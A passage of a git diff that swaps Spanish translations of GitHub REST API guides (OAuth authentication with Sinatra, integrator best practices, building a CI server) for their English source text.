for other scopes, we would have +checked for those as well. -También, ya que hay una relación jerárquica entre alcances, debes verificar que se te haya otorgado el nuvel más bajo de los alcances que se requieren. Por ejemplo, si la aplicación hubiera pedido el alcance `user`, puede que se le haya otorgado únicamente el alcance `user:email`. En ese caso, a la applicación no se le hubiera otorgado lo que pidió, pero los alcances que obtuvo hubieran seguido siendo suficientes. +Also, since there's a hierarchical relationship between scopes, you should +check that you were granted the lowest level of required scopes. For example, +if the application had asked for `user` scope, it might have been granted only +`user:email` scope. In that case, the application wouldn't have been granted +what it asked for, but the granted scopes would have still been sufficient. -No es suficiente verificar los alcances solo antes de hacer las solicitudes, ya que es posible que los usuarios cambien los alcances entre tus solicitudes de verificación y las solicitudes reales. En caso de que esto suceda, las llamadas a la API que esperas tengan éxito podrían fallar con un estado `404` o `401`, o bien, podrían devolver un subconjunto de información diferente. +Checking for scopes only before making requests is not enough since it's possible +that users will change the scopes in between your check and the actual request. +In case that happens, API calls you expected to succeed might fail with a `404` +or `401` status, or return a different subset of information. -Para ayudarte a manejar estas situaciones fácilmente, todas las respuestas de la API a las solicitudes que se hagan con tokens válidos también contienen un [encabezado de `X-OAuth-Scopes`][oauth scopes]. Este encabezado contiene la lista de alcances del token que se utilizó para realizar la solicitud. In addition to that, the OAuth Applications API provides an endpoint to {% ifversion fpt or ghes or ghec %} [check a token for validity](/rest/reference/apps#check-a-token){% else %}[check a token for validity](/rest/reference/apps#check-an-authorization){% endif %}. Utiliza esta información para detectar los cambios en los alcances de los tokens, y para informar a tus usuarios sobre los cambios disponibles en la funcionalidad de la aplicación. +To help you gracefully handle these situations, all API responses for requests +made with valid tokens also contain an [`X-OAuth-Scopes` header][oauth scopes]. +This header contains the list of scopes of the token that was used to make the +request. In addition to that, the OAuth Applications API provides an endpoint to {% ifversion fpt or ghes or ghec %} +[check a token for validity](/rest/reference/apps#check-a-token){% else %}[check a token for validity](/rest/reference/apps#check-an-authorization){% endif %}. +Use this information to detect changes in token scopes, and inform your users of +changes in available application functionality. -### Realizar solicitudes autenticadas +### Making authenticated requests -Por fin, con este token de acceso, podrás hacer solicitudes autenticadas como el usuario que inició sesión: +At last, with this access token, you'll be able to make authenticated requests as +the logged in user: ``` ruby # fetch user information @@ -154,7 +192,7 @@ end erb :basic, :locals => auth_result ``` -Podemos hacer lo que queramos con nuestros resultados. En este caso, solo las vaciaremos directamente en _basic.erb_: +We can do whatever we want with our results. In this case, we'll just dump them straight into _basic.erb_: ``` erb

                Hello, <%= login %>!

                @@ -173,19 +211,29 @@ Podemos hacer lo que queramos con nuestros resultados. En este caso, solo las va

                ``` -## Implementar la autenticación "persistente" +## Implementing "persistent" authentication -Estaríamos hablando de un pésimo modelo si requerimos que los usuarios inicien sesión en la app cada vez que necesiten acceder a la página web. Por ejemplo, intenta navegar directamente a `http://localhost:4567/basic`. Obtendrás un error. +It'd be a pretty bad model if we required users to log into the app every single +time they needed to access the web page. For example, try navigating directly to +`http://localhost:4567/basic`. You'll get an error. -¿Qué pasaría si pudiéramos evitar todo el proceso de "da clic aquí", y solo lo _recordáramos_, mientras que los usuarios sigan en sesión dentro de -{% data variables.product.product_name %}, y pudieran acceder a esta aplicación? Agárrate, -porque _eso es exactamente lo que vamos a hacer_. +What if we could circumvent the entire +"click here" process, and just _remember_ that, as long as the user's logged into +{% data variables.product.product_name %}, they should be able to access this application? Hold on to your hat, +because _that's exactly what we're going to do_. -Nuestro pequeño servidor que mostramos antes es muy simple. Para poder insertar algún tipo de autenticación inteligente, vamos a optar por utilizar sesiones para almacenar los tokens. Esto hará que la autenticación sea transparente para el usuario. +Our little server above is rather simple. In order to wedge in some intelligent +authentication, we're going to switch over to using sessions for storing tokens. +This will make authentication transparent to the user. -También, ya que estamos haciendo persistir a los alcances dentro de la sesión, necesitaremos gestionar los casos cuando el usuario actualice los alcances después de que los verifiquemos, o cuando revoque el token. Para lograrlo, utilizaremos un bloque de `rescue` y verificaremos que la primera llamada a la API sea exitosa, lo cual verificará que el token sea válido. Después de esto, verificaremos el encabezado de respuesta de `X-OAuth-Scopes` para verificar que el usuario no haya revocado el alcance `user:email`. +Also, since we're persisting scopes within the session, we'll need to +handle cases when the user updates the scopes after we checked them, or revokes +the token. To do that, we'll use a `rescue` block and check that the first API +call succeeded, which verifies that the token is still valid. After that, we'll +check the `X-OAuth-Scopes` response header to verify that the user hasn't revoked +the `user:email` scope. -Crea un archivo que se llame _advanced_server.rb_, y pega estas líneas en él: +Create a file called _advanced_server.rb_, and paste these lines into it: ``` ruby require 'sinatra' @@ -265,11 +313,15 @@ get '/callback' do end ``` -La mayoría de este código debería serte familiar. For example, we're still using `RestClient.get` to call out to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, and we're still passing our results to be rendered in an ERB template (this time, it's called `advanced.erb`). +Much of the code should look familiar. For example, we're still using `RestClient.get` +to call out to the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, and we're still passing our results to be rendered +in an ERB template (this time, it's called `advanced.erb`). -También, ahora tenemos el método `authenticated?`, el cual verifica si el usuario ya se autenticó. Si no, se llamará al método `authenticate!`, el cual lleva a cabo el flujo de OAuth y actualiza la sesión con el token que se otorgó y con los alcances. +Also, we now have the `authenticated?` method which checks if the user is already +authenticated. If not, the `authenticate!` method is called, which performs the +OAuth flow and updates the session with the granted token and scopes. -Después, crea un archivo en _views_, el cual se llame _advanced.erb_ y pega este markup dentro de él: +Next, create a file in _views_ called _advanced.erb_, and paste this markup into it: ``` erb @@ -294,11 +346,18 @@ Después, crea un archivo en _views_, el cual se llame _advanced.erb_ y pega est ``` -Desde la líne de comandos, llama a `ruby advanced_server.rb`, lo cual inicia tu servidor en el puerto `4567` -- el mismo puerto que utilizamos cuando tuvimos una app de Sinatra sencilla. Cuando navegas a `http://localhost:4567`, la app llama a `authenticate!`, lo cual te redirige a `/callback`. Entonces, `/callback` nos regresa a `/` y, ya que estuvimos autenticados, interpreta a _advanced.erb_. +From the command line, call `ruby advanced_server.rb`, which starts up your +server on port `4567` -- the same port we used when we had a simple Sinatra app. +When you navigate to `http://localhost:4567`, the app calls `authenticate!` +which redirects you to `/callback`. `/callback` then sends us back to `/`, +and since we've been authenticated, renders _advanced.erb_. -Podríamos simplificar completamente esta ruta redonda si solo cambiamos nuestra URL de rellamado en {% data variables.product.product_name %} a `/`. Pero, ya que tanto _server.rb_ como _advanced.rb_ dependen de la misma URL de rellamado, necesitamos hacer un poco más de ajustes para que funcione. +We could completely simplify this roundtrip routing by simply changing our callback +URL in {% data variables.product.product_name %} to `/`. But, since both _server.rb_ and _advanced.rb_ are relying on +the same callback URL, we've got to do a little bit of wonkiness to make it work. -También, si nunca hubiéramos autorizado esta aplicación para acceder a nuestros datos de {% data variables.product.product_name %}, habríamos visto el mismo diálogo de confirmación del pop-up anterior para advertirnos. +Also, if we had never authorized this application to access our {% data variables.product.product_name %} data, +we would've seen the same confirmation dialog from earlier pop-up and warn us. [webflow]: /apps/building-oauth-apps/authorizing-oauth-apps/ [Sinatra]: http://www.sinatrarb.com/ @@ -307,6 +366,6 @@ También, si nunca hubiéramos autorizado esta aplicación para acceder a nuestr [REST Client]: https://github.com/archiloque/rest-client [libraries]: /libraries/ [oauth scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ -[oauth scopes]: /apps/building-oauth-apps/understanding-scopes-for-oauth-apps/ +[platform samples]: https://github.com/github/platform-samples/tree/master/api/ruby/basics-of-authentication [new oauth app]: https://github.com/settings/applications/new [app settings]: https://github.com/settings/developers diff --git a/translations/es-ES/content/rest/guides/best-practices-for-integrators.md b/translations/es-ES/content/rest/guides/best-practices-for-integrators.md index 9e1b34a20e..05d182c442 100644 --- a/translations/es-ES/content/rest/guides/best-practices-for-integrators.md +++ b/translations/es-ES/content/rest/guides/best-practices-for-integrators.md @@ -1,5 +1,5 @@ --- -title: Mejores prácticas para los integradores +title: Best practices for integrators intro: 'Build an app that reliably interacts with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API and provides the best experience for your users.' redirect_from: - /guides/best-practices-for-integrators/ @@ -11,63 +11,63 @@ versions: ghec: '*' topics: - API -shortTitle: Mejores prácticas del integrador +shortTitle: Integrator best practices --- -¡Estás interesado en integrarte con la plataforma de GitHub? [Estás en las manos correctas](https://github.com/integrations). Esta guía te ayudará a crear una app que proporcione la mejor de las experiencias para tus usuarios *y* que garantice su confiabilidad al interactuar con la API. +Interested in integrating with the GitHub platform? [You're in good company](https://github.com/integrations). This guide will help you build an app that provides the best experience for your users *and* ensure that it's reliably interacting with the API. -## Asegura las cargas útiles que se entregen desde GitHub +## Secure payloads delivered from GitHub -Es muy importante que asegures [las cargas útiles que se envíen desde GitHub][event-types]. Aunque en una carga útil jamás se transmita información personal (como las contraseñas), no es bueno filtrar *ninguna* información. Algunos de los tipos de información que pudieran ser sensibles incluyen las direcciones de correo electrónico del confirmante o los nombres de los repositorios privados. +It's very important that you secure [the payloads sent from GitHub][event-types]. Although no personal information (like passwords) is ever transmitted in a payload, leaking *any* information is not good. Some information that might be sensitive include committer email address or the names of private repositories. -Hya varios pasos que puedes tomar para asegurar la recepción de las cárgas útiles que GitHub entregue: +There are several steps you can take to secure receipt of payloads delivered by GitHub: -1. Asegúrate de que tu servidor receptor tenga una conexión HTTPS. Predeterminadamente, GitHub verificará los certificados SSl cuando entregue las cargas útiles.{% ifversion fpt or ghec %} -1. Puedes agregar [La dirección IP que utilizamos cuando entregamos ganchos](/github/authenticating-to-github/about-githubs-ip-addresses) a tu lista de conexiones permitidas de tu servidor. Para garantizar que siempre estés verificando la dirección IP correcta, puedes [utilizar la terminal de `/meta`](/rest/reference/meta#meta) para encontrar la dirección que utilizamos.{% endif %} -1. Proporciona [un token secreto](/webhooks/securing/) para garantizar que las cargas útiles vengan de GitHub definitivamente. Al requerir un token secreto, te estás asegurando de que ninguno de los datos que recibe tu servidor viene de GitHub en lo absoluto. Idealmente, deberías proporcionar un token secreto diferente *por cada usuario* de tu servicio. Así, si un token se pone en riesgo, nadie más se vería afectado. +1. Ensure that your receiving server is on an HTTPS connection. By default, GitHub will verify SSL certificates when delivering payloads.{% ifversion fpt or ghec %} +1. You can add [the IP address we use when delivering hooks](/github/authenticating-to-github/about-githubs-ip-addresses) to your server's allow list. To ensure that you're always checking the right IP address, you can [use the `/meta` endpoint](/rest/reference/meta#meta) to find the address we use.{% endif %} +1. Provide [a secret token](/webhooks/securing/) to ensure payloads are definitely coming from GitHub. By enforcing a secret token, you're ensuring that any data received by your server is absolutely coming from GitHub. Ideally, you should provide a different secret token *per user* of your service. That way, if one token is compromised, no other user would be affected. -## Favorece el trabajo asincrónico sobre el sincronizado +## Favor asynchronous work over synchronous -GitHub espera que las integraciones respondan dentro de los primeros {% ifversion fpt or ghec %}10{% else %}30{% endif %} segundos de que se reciba la carga útil del webhook. Si tu servicio demora más que eso para completarse, entonces GitHub finaliza la conexión y se pierde la carga útil. +GitHub expects that integrations respond within {% ifversion fpt or ghec %}10{% else %}30{% endif %} seconds of receiving the webhook payload. If your service takes longer than that to complete, then GitHub terminates the connection and the payload is lost. -Ya que es imposible predecir qué tan rápido completará esto tu servidor, deberías hacer todo "el trabajo real" en un job que actúe en segundo plano. [Resque](https://github.com/resque/resque/) (para Ruby), [RQ](http://python-rq.org/) (para Python), o [RabbitMQ](http://www.rabbitmq.com/) (para JAVA) son algunos ejemplos de bibliotecas que pueden manejar jobs de segundo plano para procesamiento y formación en cola. +Since it's impossible to predict how fast your service will complete, you should do all of "the real work" in a background job. [Resque](https://github.com/resque/resque/) (for Ruby), [RQ](http://python-rq.org/) (for Python), or [RabbitMQ](http://www.rabbitmq.com/) (for Java) are examples of libraries that can handle queuing and processing of background jobs. -Nota que, aún si tienes un job ejecutándose en segundo plano, GitHub sigue esperando que tu servidor responda dentro de {% ifversion fpt or ghec %}diez{% else %}veinte{% endif %} segundos. Tu servidor necesita reconocer que recibió la carga útil mediante el envío de algún tipo de respuesta. Es crítico que tu servicio realice cualquier validación de una carga útil tan pronto sea posible, para que puedas reportar con exactitud si tu servidor continuará con la solicitud o no. +Note that even with a background job running, GitHub still expects your server to respond within {% ifversion fpt or ghec %}ten{% else %}thirty{% endif %} seconds. Your server needs to acknowledge that it received the payload by sending some sort of response. It's critical that your service performs any validations on a payload as soon as possible, so that you can accurately report whether your server will continue with the request or not. -## Utiliza códigos de estado de HTTP adecuados cuando respondas a GitHub +## Use appropriate HTTP status codes when responding to GitHub -Cada webhook tiene su propia sección de "Entregas Recientes", la cual lista si los despliegues tuvieron éxito o no. +Every webhook has its own "Recent Deliveries" section, which lists whether a deployment was successful or not. -![Vista de entregas recientes](/assets/images/webhooks_recent_deliveries.png) +![Recent Deliveries view](/assets/images/webhooks_recent_deliveries.png) -Deberías utilizar códigos de estado de HTTP adecuados para informar a los usuarios. Puedes utilizar códigos como el `201` o el `202` para reconocer la recepción de las cargas útiles que no se van a procesar (por ejemplo, una carga útil que entregue una rama que no sea la predeterminada). Reserva el código de error `500` para las fallas catastróficas. +You should make use of proper HTTP status codes in order to inform users. You can use codes like `201` or `202` to acknowledge receipt of payload that won't be processed (for example, a payload delivered by a branch that's not the default). Reserve the `500` error code for catastrophic failures. -## Proporciona al usuario tanta información como sea posible +## Provide as much information as possible to the user -Los usuarios pueden profundizar en las respuestas del servidor que envíes de vuelta a GitHub. Asegúrate de que tus mensajes son claros e informativos. +Users can dig into the server responses you send back to GitHub. Ensure that your messages are clear and informative. -![Visualizar la respuesta de una carga útil](/assets/images/payload_response_tab.png) +![Viewing a payload response](/assets/images/payload_response_tab.png) -## Sigue cualquier redireccionamiento que te envíe la API +## Follow any redirects that the API sends you -GitHub es muy explícito en decirte cuando un recurso se migró y lo hace proporcionándote un código de estado de redirección. Debes seguir estas redirecciones. Cada respuesta de redirección configura el encabezado `Location` con la URI nueva a la cual debes dirigirte. Si recibes una redirección, es mejor que actualices tu código para seguir a la nueva URI, en caso de que estés utilizando una ruta obsoleta que tal ves eliminemos. +GitHub is explicit in telling you when a resource has moved by providing a redirect status code. You should follow these redirections. Every redirect response sets the `Location` header with the new URI to go to. If you receive a redirect, it's best to update your code to follow the new URI, in case you're requesting a deprecated path that we might remove. -Hemos proporcionado [una lista de códigos de estado de HTTP](/rest#http-redirects) que puedes consultar cuando estés diseñando tu app para seguir las redirecciones. +We've provided [a list of HTTP status codes](/rest#http-redirects) to watch out for when designing your app to follow redirects. -## No analices las URL manualmente +## Don't manually parse URLs -A menudo, las respuestas a la API contienen datos en forma de URL. Por ejemplo, cuando solicitamos un repositorio, estamos enviando una clave denominada `clone_url` con la URL que puedes utilizar para clonar el repositorio. +Often, API responses contain data in the form of URLs. For example, when requesting a repository, we'll send a key called `clone_url` with a URL you can use to clone the repository. -Para mantener la estabilidad de tu app, no deberías analizar estos datos o tratr de adivinar y construir el formato de las URL futuras. Tu app puede fallar si decidimos cambiar la URL. +For the stability of your app, you shouldn't try to parse this data or try to guess and construct the format of future URLs. Your app is liable to break if we decide to change the URL. -Por ejemplo, cuando estamos trabajando con resultados paginados, a menudo es tentador construir las URL que adjunten `?page=` al final. Evita esa tentación. [Nuestra guía sobre paginación](/guides/traversing-with-pagination) te ofrece tips de seguridad sobre cómo seguir resultados paginados de manera confiable. +For example, when working with paginated results, it's often tempting to construct URLs that append `?page=` to the end. Avoid that temptation. [Our guide on pagination](/guides/traversing-with-pagination) offers some safe tips on dependably following paginated results. -## Verifica el tipo de evento y de acción antes de procesar el evento +## Check the event type and action before processing the event -Hay varios [tipos de eventos de webhook][event-types], y cada evento puede tener varias acciones. En medida en que el conjunto de características de GitHub crece, de vez en cuando agregaremos tipos de evento para nuevas acciones a los tipos de evento existentes. Asegúrate de que tu aplicación verifique el tipo y acción de un evento explícitamente antes de que hagas cualquier procesamiento de webhook. El encabezado de solicitud de `X-GitHub-Event` puede utilizarse para saber qué evento se recibió, para que el procesamiento se pueda gestionar de manera adecuada. De manera similar, la carga útil tiene una clave de `action` de alto nivel que puede utilizarse para saber qué acción se llevó a cabo en el objeto relevante. +There are multiple [webhook event types][event-types], and each event can have multiple actions. As GitHub's feature set grows, we will occasionally add new event types or add new actions to existing event types. Ensure that your application explicitly checks the type and action of an event before doing any webhook processing. The `X-GitHub-Event` request header can be used to know which event has been received so that processing can be handled appropriately. Similarly, the payload has a top-level `action` key that can be used to know which action was taken on the relevant object. -Por ejemplo, si configuraste un webhook de GitHub para "Enviarme **todo**", tu aplicación comenzará a recibir tipos de evento y acciones nuevos conforme se agreguen. Por lo tanto, **no se recomienda utilizar ningún tipo de cláusula "else" que reciba todo**. Toma como ejemplo el siguiente extracto de código: +For example, if you have configured a GitHub webhook to "Send me **everything**", your application will begin receiving new event types and actions as they are added. It is therefore **not recommended to use any sort of catch-all else clause**. Take the following code example: ```ruby # Not recommended: a catch-all else clause @@ -86,9 +86,9 @@ def receive end ``` -En este ejemplo, se llamará correctamente a los métodos de `process_repository` y `process_issues` si se recibió un evento de `repository` o de `issues`. Sin embargo, cualquier otro tipo de evento resultaría en que se llamara a `process_pull_requests`. En medida en que se agreguen tipos de evento nuevos, esto dará como resultado un comportamiento incorrecto y los tipos de evento nuevos se procesarían de la misma forma que se haría con un evento de `pull_request`. +In this code example, the `process_repository` and `process_issues` methods will be correctly called if a `repository` or `issues` event was received. However, any other event type would result in `process_pull_requests` being called. As new event types are added, this would result in incorrect behavior and new event types would be processed in the same way that a `pull_request` event would be processed. -En vez de esto, te sugerimos revisar los tipos de evento explícitamente y tomar acciones adecuadas para cada caso. En el siguiente ejemplo, estamos verificando explícitamente si hay eventos de `pull_request` y la cláusula `else` simplemente registra lo que recibimos en un tipo de evento nuevo: +Instead, we suggest explicitly checking event types and acting accordingly. In the following code example, we explicitly check for a `pull_request` event and the `else` clause simply logs that we've received a new event type: ```ruby # Recommended: explicitly check each event type @@ -109,9 +109,9 @@ def receive end ``` -Ya que cada evento puede tener acciones múltiples también, se recomienda que las acciones se verifiquen de forma similar. Por ejemplo, el [`IssuesEvent`](/webhooks/event-payloads/#issues) tiene muchas acciones posibles. Estas incluyen a `opened` cuando se crea el informe de problemas, a `closed` cuando el informe de problemas se cierra, y a `assigned` cuando este informe se asigna a alguien. +Because each event can also have multiple actions, it's recommended that actions are checked similarly. For example, the [`IssuesEvent`](/webhooks/event-payloads/#issues) has several possible actions. These include `opened` when the issue is created, `closed` when the issue is closed, and `assigned` when the issue is assigned to someone. -De la misma forma como agregamos tipos de evento, podemos agregar acciones nuevas a los eventos existentes. Por lo tanto, nuevamente **no se recomienda utilizar ningún tipo de cláusula "else" para recibir todo** cuando verificamos la acción de un evento. En vez de esto, te sugerimos verificar las acciones de evento explícitamente como lo hicimos con el tipo de evento. Un ejemplo de esto se ve muy similar a lo que sugerimos para los tipos de evento anteriormente: +As with adding event types, we may add new actions to existing events. It is therefore again **not recommended to use any sort of catch-all else clause** when checking an event's action. Instead, we suggest explicitly checking event actions as we did with the event type. An example of this looks very similar to what we suggested for event types above: ```ruby # Recommended: explicitly check each action @@ -129,40 +129,47 @@ def process_issue(payload) end ``` -En este ejemplo, la acción `closed` se verifica primero antes de llamar al método `process_closed`. Cualquier acción sin identificar se registra para referencias futuras. +In this example the `closed` action is checked first before calling the `process_closed` method. Any unidentified actions are logged for future reference. {% ifversion fpt or ghec %} -## Lidiar con los límites de tasa +## Dealing with rate limits -El [límite de tasa](/rest/overview/resources-in-the-rest-api#rate-limiting) de la API de GitHub se asegura de que la API sea rápida y esté disponible para todos. +The GitHub API [rate limit](/rest/overview/resources-in-the-rest-api#rate-limiting) ensures that the API is fast and available for everyone. -Si alcanzas un límite de tasa, se espera que te retires y no sigas haciendo solicitudes y que intentes más tarde cuando se te permita hacerlo. Si no lo haces, podríamos prohibir tu app. +If you hit a rate limit, it's expected that you back off from making requests and try again later when you're permitted to do so. Failure to do so may result in the banning of your app. -Siempre puedes [verificar el estado de tu límite de tasa](/rest/reference/rate-limit) en cualquier momento. El verificar tu límite de tasa no representa costo alguno para éste. +You can always [check your rate limit status](/rest/reference/rate-limit) at any time. Checking your rate limit incurs no cost against your rate limit. -## Lidiar con límites de tasa secundarios +## Dealing with secondary rate limits -Los [Límites de tasa secundarios](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) son otra forma en la que nos aseguramos de que la API tenga disponibilidad. Para evitar llegar a este límite, deberás asegurarte de que tu aplicación siga los siguientes lineamientos. +[Secondary rate limits](/rest/overview/resources-in-the-rest-api#secondary-rate-limits) are another way we ensure the API's availability. +To avoid hitting this limit, you should ensure your application follows the guidelines below. -* Hacer solicitudes autenticadas, o utilizar la ID de cliente y secreto de tu aplicación. Las solicitudes sin autenticar están sujetas a una limitación de tasa secundaria más agresiva. -* Hacer solicitudes en serie para solo un usuario o ID de cliente. No hagas solicitudes para solo un usuario o ID de cliente simultáneamente. -* Si haces muchas solicitudes de tipo `POST`, `PATCH`, `PUT`, o `DELETE` para un solo usuario o ID de cliente, espera por lo menos un segundo entre cada una. -* Cuando se te limita, utiliza el encabezado de respuesta `Retry-After` para bajar la velocidad. El valor del encabezado `Retry-After` siembre será un número entero, el cual representará la cantidad de segundos que debes esperar antes de volver a hacer la solicitud. Por ejemplo, `Retry-After: 30` significa que debes esperar 30 segundos antes de enviar más solicitudes. -* Las solicitudes que crean contenido que activa notificaciones, tales como informes de problemas, comentarios y solicitudes de extracción, puede limitarse aún más y no incluirá un encabezado de `Retry-After` en la respuesta. Por favor, crea este contenido con un ritmo razonable para evitar que se te limite nuevamente. +* Make authenticated requests, or use your application's client ID and secret. Unauthenticated + requests are subject to more aggressive secondary rate limiting. +* Make requests for a single user or client ID serially. Do not make requests for a single user + or client ID concurrently. +* If you're making a large number of `POST`, `PATCH`, `PUT`, or `DELETE` requests for a single user + or client ID, wait at least one second between each request. +* When you have been limited, use the `Retry-After` response header to slow down. The value of the + `Retry-After` header will always be an integer, representing the number of seconds you should wait + before making requests again. For example, `Retry-After: 30` means you should wait 30 seconds + before sending more requests. +* Requests that create content which triggers notifications, such as issues, comments and pull requests, + may be further limited and will not include a `Retry-After` header in the response. Please create this + content at a reasonable pace to avoid further limiting. -Nos reservamos el derecho de cambiar estos lineamientos como sea necesario para garantizar la disponibilidad. +We reserve the right to change these guidelines as needed to ensure availability. {% endif %} -## Lidiar con los errores de la API +## Dealing with API errors -Aunque tu código jamás introducirá un error, podrías encontrarte con que has dado con varios errores sucesivos cuando intentas acceder a la API. +Although your code would never introduce a bug, you may find that you've encountered successive errors when trying to access the API. -En vez de ignorar los códigos de estado `4xx` y `5xx` repetidamente, debes asegurarte de que estás interactuando correctamente con la API. Por ejemplo, si una terminal solicita una secuencia y estás pasando un valor numérico, vas a recibir un error de validación `5xx`, y tu llamada no tendrá éxito. De forma similar, el intentar acceder a una terminal inexistente o no autorizada dará como resultado un error `4xx`. +Rather than ignore repeated `4xx` and `5xx` status codes, you should ensure that you're correctly interacting with the API. For example, if an endpoint requests a string and you're passing it a numeric value, you're going to receive a `5xx` validation error, and your call won't succeed. Similarly, attempting to access an unauthorized or nonexistent endpoint will result in a `4xx` error. -El ignorar los errores de validación constantes a propóstio podría resultar en la suspensión de tu app por abuso. - -[event-types]: /webhooks/event-payloads +Intentionally ignoring repeated validation errors may result in the suspension of your app for abuse. [event-types]: /webhooks/event-payloads diff --git a/translations/es-ES/content/rest/guides/building-a-ci-server.md b/translations/es-ES/content/rest/guides/building-a-ci-server.md index df903b62d6..1483f0f895 100644 --- a/translations/es-ES/content/rest/guides/building-a-ci-server.md +++ b/translations/es-ES/content/rest/guides/building-a-ci-server.md @@ -1,6 +1,6 @@ --- -title: Crear un servidor de IC -intro: Crea tu propio sistema de IC utilizando la API de Estados. +title: Building a CI server +intro: Build your own CI system using the Status API. redirect_from: - /guides/building-a-ci-server/ - /v3/guides/building-a-ci-server @@ -15,22 +15,31 @@ topics: -La [API de Estados][status API] es responsable de unir las confirmaciones con un servicio de pruebas para que cada carga que hagas pueda probarse y se represente en una solicitud de extracción de {% data variables.product.product_name %}. +The [Status API][status API] is responsible for tying together commits with +a testing service, so that every push you make can be tested and represented +in a {% data variables.product.product_name %} pull request. -Esta guía utilizará la API para demostrar una configuración que puedes utilizar. En nuestro escenario, nosotros: +This guide will use that API to demonstrate a setup that you can use. +In our scenario, we will: -* Ejecutaremos nuestra suit de IC cuando se abra una Solicitud de Extracción (configuraremos el estado de IC como pendiente). -* Cuando finalice la IC, configuraremos el estado de la Solicitud de Extracción como corresponda. +* Run our CI suite when a Pull Request is opened (we'll set the CI status to pending). +* When the CI is finished, we'll set the Pull Request's status accordingly. -Nuestro sistema de IC y nuestro servidor host serán imaginarios. Podrían ser Travis, Jenkins, o algo completamente distinto. El meollo de esta guía será configurar y ajustar el servidor que administra la comunicación. +Our CI system and host server will be figments of our imagination. They could be +Travis, Jenkins, or something else entirely. The crux of this guide will be setting up +and configuring the server managing the communication. -Si aún no lo has hecho, asegúrate de [descargar ngrok][ngrok], y de aprender a [utilizarlo][using ngrok]. Consideramos que es una herramienta muy útil para exponer las conexiones locales. +If you haven't already, be sure to [download ngrok][ngrok], and learn how +to [use it][using ngrok]. We find it to be a very useful tool for exposing local +connections. -Nota: puedes descargar todo el código fuente para este proyecto [del repo platform-samples][platform samples]. +Note: you can download the complete source code for this project +[from the platform-samples repo][platform samples]. -## Escribir tu servidor +## Writing your server -Escribiremos una app de Sinatra rápidamente para probar que nuestras conexiones locales estén funcionando. Comencemos con esto: +We'll write a quick Sinatra app to prove that our local connections are working. +Let's start with this: ``` ruby require 'sinatra' @@ -42,20 +51,29 @@ post '/event_handler' do end ``` -(Si no estás familiarizado con como funciona Sinatra, te recomendamos [leer la guía de Sinatra][Sinatra].) +(If you're unfamiliar with how Sinatra works, we recommend [reading the Sinatra guide][Sinatra].) -Inicia este servidor. Predeterminadamente, Sinatra inicia en el puerto `4567`, así que también debes configurar ngrok para comenzar a escuchar este puerto. +Start this server up. By default, Sinatra starts on port `4567`, so you'll want +to configure ngrok to start listening for that, too. -Para que este servidor funcione, necesitaremos configurar un repositorio con un webhook. El webhook debe configurarse para que se active cada que se crea o fusiona una Solicitud de Extracción. Sigue adelante y crea un repositorio en el que quieras hacer tus experimentos. ¿Podríamos sugerirte que sea [el repositorio Spoon/Knife de @octocat](https://github.com/octocat/Spoon-Knife)? Después de esto, crearás un webhook nuevo en tu repositorio y lo alimentarás con la URL que te dio ngrok para luego escoger a `application/x-www-form-urlencoded` como el tipo de contenido: +In order for this server to work, we'll need to set a repository up with a webhook. +The webhook should be configured to fire whenever a Pull Request is created, or merged. +Go ahead and create a repository you're comfortable playing around in. Might we +suggest [@octocat's Spoon/Knife repository](https://github.com/octocat/Spoon-Knife)? +After that, you'll create a new webhook in your repository, feeding it the URL +that ngrok gave you, and choosing `application/x-www-form-urlencoded` as the +content type: -![Una URL de ngrok nueva](/assets/images/webhook_sample_url.png) +![A new ngrok URL](/assets/images/webhook_sample_url.png) -Haz clic en **Actualizar webhook**. Deberás ver una respuesta en el cuerpo que diga `Well, it worked!`. ¡Genial! Da clic en **Déjame selecionar eventos individuales**, y selecciona lo siguiente: +Click **Update webhook**. You should see a body response of `Well, it worked!`. +Great! Click on **Let me select individual events**, and select the following: -* Estado -* Solicitud de Extracción +* Status +* Pull Request -Estos son los eventos que {% data variables.product.product_name %} enviará a nuestro servidor cuando ocurra cualquier acción relevante. Vamos a actualizar nuestro servidor para que *solo* gestione el escenario de Solicitud de Extracción ahora: +These are the events {% data variables.product.product_name %} will send to our server whenever the relevant action +occurs. Let's update our server to *just* handle the Pull Request scenario right now: ``` ruby post '/event_handler' do @@ -76,15 +94,26 @@ helpers do end ``` -¿Qué está pasando? Cada evento que {% data variables.product.product_name %} envía adjunta un encabezado de HTTP de `X-GitHub-Event`. Solo nos interesan los eventos de Solicitud de Extracción por el momento. Desde ahí, tomaremos la carga útil de información y devolveremos el campo de título. En un escenario ideal, a nuestro servidor le interesaría cada vez que se actualiza una solicitud de extracción, no únicamente cuando se abre. Eso garantizaría que todas las cargas pasen la prueba de IC. Pero para efectos de esta demostración, solo nos interesará cuándo se abren. +What's going on? Every event that {% data variables.product.product_name %} sends out attached a `X-GitHub-Event` +HTTP header. We'll only care about the PR events for now. From there, we'll +take the payload of information, and return the title field. In an ideal scenario, +our server would be concerned with every time a pull request is updated, not just +when it's opened. That would make sure that every new push passes the CI tests. +But for this demo, we'll just worry about when it's opened. -Para probar esta prueba de concepto, haz algunos cambios en una rama de tu repositorio de pruebas, y abre una solicitud de extracción. ¡Tu servidor deberá responder de acuerdo con los casos! +To test out this proof-of-concept, make some changes in a branch in your test +repository, and open a pull request. Your server should respond accordingly! -## Trabajar con los estados +## Working with statuses -Ya que configuramos el servidor, estamos listos para comenzar con nuestro primer requisito, que es configurar (y actualizar) los estados de IC. Nota que en cualquier momento que actualices tu servidor, puedes dar clic en **Volver a entregar** para enviar la misma carga útil. ¡No necesitas hacer una solicitud de extracción cada que haces un cambio! +With our server in place, we're ready to start our first requirement, which is +setting (and updating) CI statuses. Note that at any time you update your server, +you can click **Redeliver** to send the same payload. There's no need to make a +new pull request every time you make a change! -Since we're interacting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll use [Octokit.rb][octokit.rb] to manage our interactions. Configuraremos a ese cliente con +Since we're interacting with the {% ifversion fpt or ghec %}{% data variables.product.prodname_dotcom %}{% else %}{% data variables.product.product_name %}{% endif %} API, we'll use [Octokit.rb][octokit.rb] +to manage our interactions. We'll configure that client with +[a personal access 